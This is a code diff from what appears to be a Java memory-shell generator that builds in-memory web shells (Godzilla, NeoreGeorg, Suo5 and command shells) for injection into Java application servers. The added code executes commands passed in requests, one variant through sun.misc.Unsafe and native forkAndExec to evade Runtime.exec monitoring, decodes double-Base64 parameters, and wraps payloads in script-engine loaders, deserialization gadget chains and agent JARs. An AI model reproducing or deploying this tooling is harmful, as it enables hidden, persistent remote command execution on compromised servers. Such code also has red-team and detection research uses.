 import com.reajason.javaweb.memshell.config.GodzillaConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.utils.DigestUtils;
-import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
-import org.apache.commons.lang3.StringUtils;
-
-import java.util.HashMap;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -21,62 +12,20 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
  * @author ReaJason
  * @since 2024/11/23
  */
-public class GodzillaGenerator {
+public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
-    private final ShellConfig shellConfig;
-    private final GodzillaConfig godzillaConfig;
 
     public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) {
-        this.shellConfig = shellConfig;
+        super(shellConfig, godzillaConfig);
-        this.godzillaConfig = godzillaConfig;
     }
 
-    public DynamicType.Builder<?> getBuilder() {
+    @Override
-        if (godzillaConfig.getShellClass() == null) {
+    public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
-            throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
+        String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
-        }
+        String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
-        if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) {
+        return builder.field(named("pass")).value(shellToolConfig.getPass())
-            throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()");
+                .field(named("key")).value(md5Key)
-        }
+                .field(named("md5")).value(md5)
-        String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
+                .field(named("headerName")).value(shellToolConfig.getHeaderName())
-        String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();
+                .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
-
-        DynamicType.Builder<?> builder = new ByteBuddy()
-                .redefine(godzillaConfig.getShellClass())
-                .name(godzillaConfig.getShellClassName())
-                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
-
-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
-        if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
-            builder = builder.visit(
-                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
-                        put("pass", godzillaConfig.getPass());
-                        put("key", md5Key);
-                        put("md5", md5);
-                        put("headerName", godzillaConfig.getHeaderName());
-                        put("headerValue", godzillaConfig.getHeaderValue());
-                    }})
-            );
-        } else {
-            builder = builder.field(named("pass")).value(godzillaConfig.getPass())
-                    .field(named("key")).value(md5Key)
-                    .field(named("md5")).value(md5)
-                    .field(named("headerName")).value(godzillaConfig.getHeaderName())
-                    .field(named("headerValue")).value(godzillaConfig.getHeaderValue());
-        }
-        return builder;
-    }
-
-    public byte[] getBytes() {
-        DynamicType.Builder<?> builder = getBuilder();
-        try (DynamicType.Unloaded<?> make = builder.make()) {
-            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
-        }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java

@@ -14,12 +14,13 @@ import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.dynamic.scaffold.TypeValidation;
 import net.bytebuddy.implementation.FixedValue;
 import net.bytebuddy.pool.TypePool;
-import java.util.Base64;;
 
 import java.util.*;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
+
+
 /**
  * @author ReaJason
  * @since 2024/11/24

generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java

@@ -6,8 +6,11 @@ import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.description.modifier.Ownership;
+import net.bytebuddy.description.modifier.Visibility;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
+import net.bytebuddy.implementation.FixedValue;
 
 import java.util.Collections;
 
@@ -21,16 +24,35 @@ public class ListenerGenerator {
 
     public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
         String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
+        boolean needAddGetFieldValue = false;
+        try {
+            targetClass.getMethod("getFieldValue", Object.class, String.class);
+        } catch (NoSuchMethodException e) {
+            needAddGetFieldValue = true;
+        }
 
-        try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
+        DynamicType.Builder<?> builder = new ByteBuddy()
                 .redefine(targetClass)
-                .name(newClassName)
+                .name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
-                .visit(new AsmVisitorWrapper.ForDeclaredMethods()
                         .method(named("getResponseFromRequest"),
-                                new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName()))))
+                                new MethodCallReplaceVisitorWrapper(
-                .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
+                                        newClassName,
-                .make()) {
+                                        Collections.singleton(ShellCommonUtil.class.getName()))
-            return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
+                        )
+                )
+                .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
+
+        if (needAddGetFieldValue) {
+            builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
+                    .withParameters(Object.class, String.class)
+                    .intercept(FixedValue.nullValue())
+                    .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
+        }
+
+        try (DynamicType.Unloaded<?> unloaded = builder.make()) {
+            return unloaded
+                    .load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
+                    .getLoaded();
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/NeoreGeorgGenerator.java

@@ -1,66 +1,23 @@
 package com.reajason.javaweb.memshell.generator;
 
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
-import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
 
-import java.util.HashMap;
-
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
 /**
  * @author ReaJason
  * @since 2025/2/12
  */
-public class NeoreGeorgGenerator {
+public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfig> {
-    private final ShellConfig shellConfig;
-    private final NeoreGeorgConfig neoreGeorgConfig;
-
     public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
-        this.shellConfig = shellConfig;
+        super(shellConfig, neoreGeorgConfig);
-        this.neoreGeorgConfig = neoreGeorgConfig;
     }
 
-    public DynamicType.Builder<?> getBuilder() {
+    @Override
-        DynamicType.Builder<?> builder = new ByteBuddy()
+    protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
-                .redefine(neoreGeorgConfig.getShellClass())
+        return builder.field(named("headerName")).value(shellToolConfig.getHeaderName())
-                .name(neoreGeorgConfig.getShellClassName())
+                .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
-                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
-
-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
-        if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
-            builder = builder.visit(
-                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
-                        put("headerName", neoreGeorgConfig.getHeaderName());
-                        put("headerValue", neoreGeorgConfig.getHeaderValue());
-                    }})
-            );
-        } else {
-            builder = builder
-                    .field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
-                    .field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
-        }
-        return builder;
-    }
-
-    public byte[] getBytes() {
-        DynamicType.Builder<?> builder = getBuilder();
-        try (DynamicType.Unloaded<?> make = builder.make()) {
-            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
-        }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/ShellGenerator.java

@@ -0,0 +1,10 @@
+package com.reajason.javaweb.memshell.generator;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/27
+ */
+public interface ShellGenerator {
+
+    byte[] getBytes();
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java

@@ -1,66 +1,25 @@
 package com.reajason.javaweb.memshell.generator;
 
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.Suo5Config;
-import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
 
-import java.util.HashMap;
-
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
 /**
  * @author ReaJason
  * @since 2025/2/12
  */
-public class Suo5Generator {
+public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
-    private final ShellConfig shellConfig;
-    private final Suo5Config suo5Config;
 
     public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
-        this.shellConfig = shellConfig;
+        super(shellConfig, suo5Config);
-        this.suo5Config = suo5Config;
     }
 
-    public DynamicType.Builder<?> getBuilder() {
+    @Override
-        DynamicType.Builder<?> builder = new ByteBuddy()
+    protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
-                .redefine(suo5Config.getShellClass())
+        return builder
-                .name(suo5Config.getShellClassName())
+                .field(named("headerName")).value(shellToolConfig.getHeaderName())
-                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
+                .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
-
-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
-        if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
-            builder = builder.visit(
-                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
-                        put("headerName", suo5Config.getHeaderName());
-                        put("headerValue", suo5Config.getHeaderValue());
-                    }})
-            );
-        } else {
-            builder = builder
-                    .field(named("headerName")).value(suo5Config.getHeaderName())
-                    .field(named("headerValue")).value(suo5Config.getHeaderValue());
-        }
-        return builder;
-    }
-
-    public byte[] getBytes() {
-        DynamicType.Builder<?> builder = getBuilder();
-        try (DynamicType.Unloaded<?> make = builder.make()) {
-            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
-        }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java

@@ -31,6 +31,7 @@ public class ValveGenerator {
     public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
     public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
     public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
+    public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
 
     public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
         private final String newPackageName;

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

@@ -0,0 +1,86 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
+import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
+import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.config.CommandConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.description.modifier.Ownership;
+import net.bytebuddy.description.modifier.Visibility;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.FixedValue;
+
+import java.util.Collections;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+public class CommandGenerator {
+    private final ShellConfig shellConfig;
+    private final CommandConfig commandConfig;
+
+    public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
+        this.shellConfig = shellConfig;
+        this.commandConfig = commandConfig;
+    }
+
+    public DynamicType.Builder<?> getBuilder() {
+        if (commandConfig.getShellClass() == null) {
+            throw new IllegalArgumentException("commandConfig.getClazz() == null");
+        }
+
+        DynamicType.Builder<?> builder = new ByteBuddy()
+                .redefine(commandConfig.getShellClass())
+                .name(commandConfig.getShellClassName())
+                .field(named("paramName")).value(commandConfig.getParamName())
+                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
+
+        if (shellConfig.isJakarta()) {
+            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
+        }
+
+        if (shellConfig.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
+        }
+
+        if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
+            builder = builder
+                    .visit(new AsmVisitorWrapper.ForDeclaredMethods()
+                            .method(named("getParam"),
+                                    new MethodCallReplaceVisitorWrapper(
+                                            commandConfig.getShellClassName(),
+                                            Collections.singleton(ShellCommonUtil.class.getName()))
+                            )
+                    )
+                    .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
+                    .withParameters(String.class)
+                    .intercept(FixedValue.nullValue())
+                    .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
+                    .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
+        }
+
+        if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) {
+            builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
+        } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) {
+            builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
+        }
+
+        return builder;
+    }
+
+    public byte[] getBytes() {
+        DynamicType.Builder<?> builder = getBuilder();
+        try (DynamicType.Unloaded<?> make = builder.make()) {
+            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java

@@ -0,0 +1,16 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import net.bytebuddy.asm.Advice;
+
+/**
+ * @author ReaJason
+ * @since 2025/4/27
+ */
+public class DoubleBase64ParamInterceptor {
+
+    @Advice.OnMethodExit
+    public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
+        returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java

@@ -0,0 +1,107 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import net.bytebuddy.asm.Advice;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/25
+ */
+public class ForkAndExecInterceptor {
+    @Advice.OnMethodExit
+    public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
+        try {
+            String[] strs = cmd.split("\\s+");
+            Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
+            java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
+            unsafeField.setAccessible(true);
+            Object unsafe = unsafeField.get(null);
+
+            Class<?> processClass = null;
+
+            try {
+                processClass = Class.forName("java.lang.UNIXProcess");
+            } catch (ClassNotFoundException e) {
+                processClass = Class.forName("java.lang.ProcessImpl");
+            }
+            Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
+
+            byte[][] args = new byte[strs.length - 1][];
+            int size = args.length;
+
+            for (int i = 0; i < args.length; i++) {
+                args[i] = strs[i + 1].getBytes();
+                size += args[i].length;
+            }
+
+            byte[] argBlock = new byte[size];
+            int i = 0;
+
+            for (byte[] arg : args) {
+                System.arraycopy(arg, 0, argBlock, i, arg.length);
+                i += arg.length + 1;
+            }
+
+            int[] envc = new int[1];
+            int[] std_fds = new int[]{-1, -1, -1};
+            byte[] bytes = strs[0].getBytes();
+            byte[] result = new byte[bytes.length + 1];
+            System.arraycopy(bytes, 0,
+                    result, 0,
+                    bytes.length);
+            result[result.length - 1] = (byte) 0;
+            try {
+                Field helperpathField = processClass.getDeclaredField("helperpath");
+                helperpathField.setAccessible(true);
+                byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
+
+                Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
+                launchMechanismField.setAccessible(true);
+                Object launchMechanismObject = launchMechanismField.get(processObject);
+                int mode = 0;
+                try {
+                    Field value = launchMechanismObject.getClass().getDeclaredField("value");
+                    value.setAccessible(true);
+                    mode = (Integer) value.get(launchMechanismObject);
+                } catch (NoSuchFieldException e) {
+                    int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
+                    mode = ordinal + 1;
+                }
+
+                Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
+                        byte[].class, int.class, byte[].class, int[].class, boolean.class);
+                forkMethod.setAccessible(true);
+                forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
+                        null, envc[0], null, std_fds, false);
+            } catch (NoSuchFieldException e) {
+                // JDK7
+                Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
+                        byte[].class, int.class, byte[].class, int[].class, boolean.class);
+                forkMethod.setAccessible(true);
+                forkMethod.invoke(processObject, result, argBlock, args.length,
+                        null, envc[0], null, std_fds, false);
+            }
+
+            try {
+                Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
+                initStreamsMethod.setAccessible(true);
+                initStreamsMethod.invoke(processObject, std_fds);
+            } catch (NoSuchMethodException e) {
+                // JDK11
+                Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
+                initStreamsMethod.setAccessible(true);
+                initStreamsMethod.invoke(processObject, std_fds, false);
+            }
+
+            Method getInputStreamMethod = processClass.getMethod("getInputStream");
+            getInputStreamMethod.setAccessible(true);
+            returnValue = ((InputStream) getInputStreamMethod.invoke(processObject));
+        } catch (Throwable e) {
+            returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java

@@ -0,0 +1,17 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import net.bytebuddy.asm.Advice;
+
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/25
+ */
+public class RuntimeExecInterceptor {
+    @Advice.OnMethodExit
+    public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
+        returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/DefaultBase64Packer.java

@@ -2,7 +2,8 @@ package com.reajason.javaweb.memshell.packer.base64;
 
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import java.util.Base64;;
+
+import java.util.Base64;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/GzipBase64Packer.java

@@ -4,7 +4,8 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
-import java.util.Base64;;
+
+import java.util.Base64;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java

@@ -5,7 +5,10 @@ import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
 import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import java.util.Base64;;
+
+import java.util.Base64;
+
+
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java

@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import lombok.SneakyThrows;
-import java.util.Base64;;
+
+import java.util.Base64;
+
+
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java

@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import lombok.SneakyThrows;
-import java.util.Base64;;
+
+import java.util.Base64;
+
+
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java

@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import lombok.SneakyThrows;
-import java.util.Base64;;
+
+import java.util.Base64;
+
+
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections3Packer.java

@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import lombok.SneakyThrows;
-import java.util.Base64;;
+
+import java.util.Base64;
+
+
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections4Packer.java

@@ -6,7 +6,10 @@ import com.reajason.javaweb.deserialize.PayloadType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
 import lombok.SneakyThrows;
-import java.util.Base64;;
+
+import java.util.Base64;
+
+
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyClassDefinerPacker.java

@@ -0,0 +1,35 @@
+package com.reajason.javaweb.memshell.packer.groovy;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import lombok.SneakyThrows;
+import org.apache.commons.io.IOUtils;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/11
+ */
+public class GroovyClassDefinerPacker implements Packer {
+    String template = null;
+
+    public GroovyClassDefinerPacker() {
+        try {
+            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.groovy")), Charset.defaultCharset());
+        } catch (IOException ignored) {
+
+        }
+    }
+
+    @Override
+    @SneakyThrows
+    public String pack(GenerateResult generateResult) {
+        String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
+        String injectorClassName = generateResult.getInjectorClassName();
+        return template.replace("{{className}}", injectorClassName)
+                .replace("{{base64Str}}", injectorBytesBase64Str);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyPacker.java

@@ -1,19 +1,11 @@
 package com.reajason.javaweb.memshell.packer.groovy;
 
-import com.reajason.javaweb.memshell.Packers;
+import com.reajason.javaweb.memshell.packer.AggregatePacker;
-import com.reajason.javaweb.memshell.config.GenerateResult;
-import com.reajason.javaweb.memshell.packer.Packer;
 
 /**
  * @author ReaJason
  * @since 2024/12/13
  */
-public class GroovyPacker implements Packer {
+public class GroovyPacker implements AggregatePacker {
-    String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
 
-    @Override
-    public String pack(GenerateResult generateResult) {
-        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
-        return template.replace("{{script}}", script);
-    }
 }

generator/src/main/java/com/reajason/javaweb/memshell/packer/groovy/GroovyScriptEnginePacker.java

@@ -0,0 +1,19 @@
+package com.reajason.javaweb.memshell.packer.groovy;
+
+import com.reajason.javaweb.memshell.Packers;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class GroovyScriptEnginePacker implements Packer {
+    String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
+        return template.replace("{{script}}", script);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java

@@ -1,12 +1,11 @@
 package com.reajason.javaweb.memshell.packer.jar;
 
+import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.asm.ClassRenameUtils;
-import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
-import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
-import net.bytebuddy.ByteBuddy;
 import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
 import org.objectweb.asm.Opcodes;
 
 import java.io.ByteArrayOutputStream;
@@ -32,59 +31,47 @@ public class AgentJarPacker implements JarPacker {
     public byte[] packBytes(GenerateResult generateResult) {
         Manifest manifest = createManifest(generateResult.getInjectorClassName());
         ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
-
+        String relocatePrefix = "shade/";
-        String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
-        boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
-
         try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
-            addDependencies(targetJar, relocatePrefix, isAsm);
+            addDependencies(targetJar, relocatePrefix);
-            addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
+            addClassesToJar(targetJar, generateResult, relocatePrefix);
         }
-
         return outputStream.toByteArray();
     }
 
-    private Manifest createManifest(String mainClass) {
+    private Manifest createManifest(String agentClass) {
         Manifest manifest = new Manifest();
         Attributes attributes = manifest.getMainAttributes();
         attributes.putValue("Manifest-Version", "1.0");
-        attributes.putValue("Agent-Class", mainClass);
+        attributes.putValue("Agent-Class", agentClass);
-        attributes.putValue("Premain-Class", mainClass);
+        attributes.putValue("Premain-Class", agentClass);
         attributes.putValue("Can-Redefine-Classes", "true");
         attributes.putValue("Can-Retransform-Classes", "true");
         return manifest;
     }
 
     @SneakyThrows
-    private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
+    private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
-        if (isAsm) {
+        String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
-            addDependency(targetJar, Opcodes.class, true, relocatePrefix);
+        addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
-        } else {
-            addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
-        }
     }
 
     @SneakyThrows
-    private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
+    private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
-                                 String relocatePrefix, boolean isRelocateEnabled) {
+        String dependencyPackage = Opcodes.class.getPackage().getName();
-        String dependencyPackage = isRelocateEnabled ?
-                Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
-
         // Add injector class
         addClassEntry(targetJar,
                 generateResult.getInjectorClassName(),
                 generateResult.getInjectorBytes(),
                 dependencyPackage,
-                relocatePrefix,
+                relocatePrefix);
-                isRelocateEnabled);
 
         // Add shell class
         addClassEntry(targetJar,
                 generateResult.getShellClassName(),
                 generateResult.getShellBytes(),
                 dependencyPackage,
-                relocatePrefix,
+                relocatePrefix);
-                isRelocateEnabled);
 
         // Add inner classes
         for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
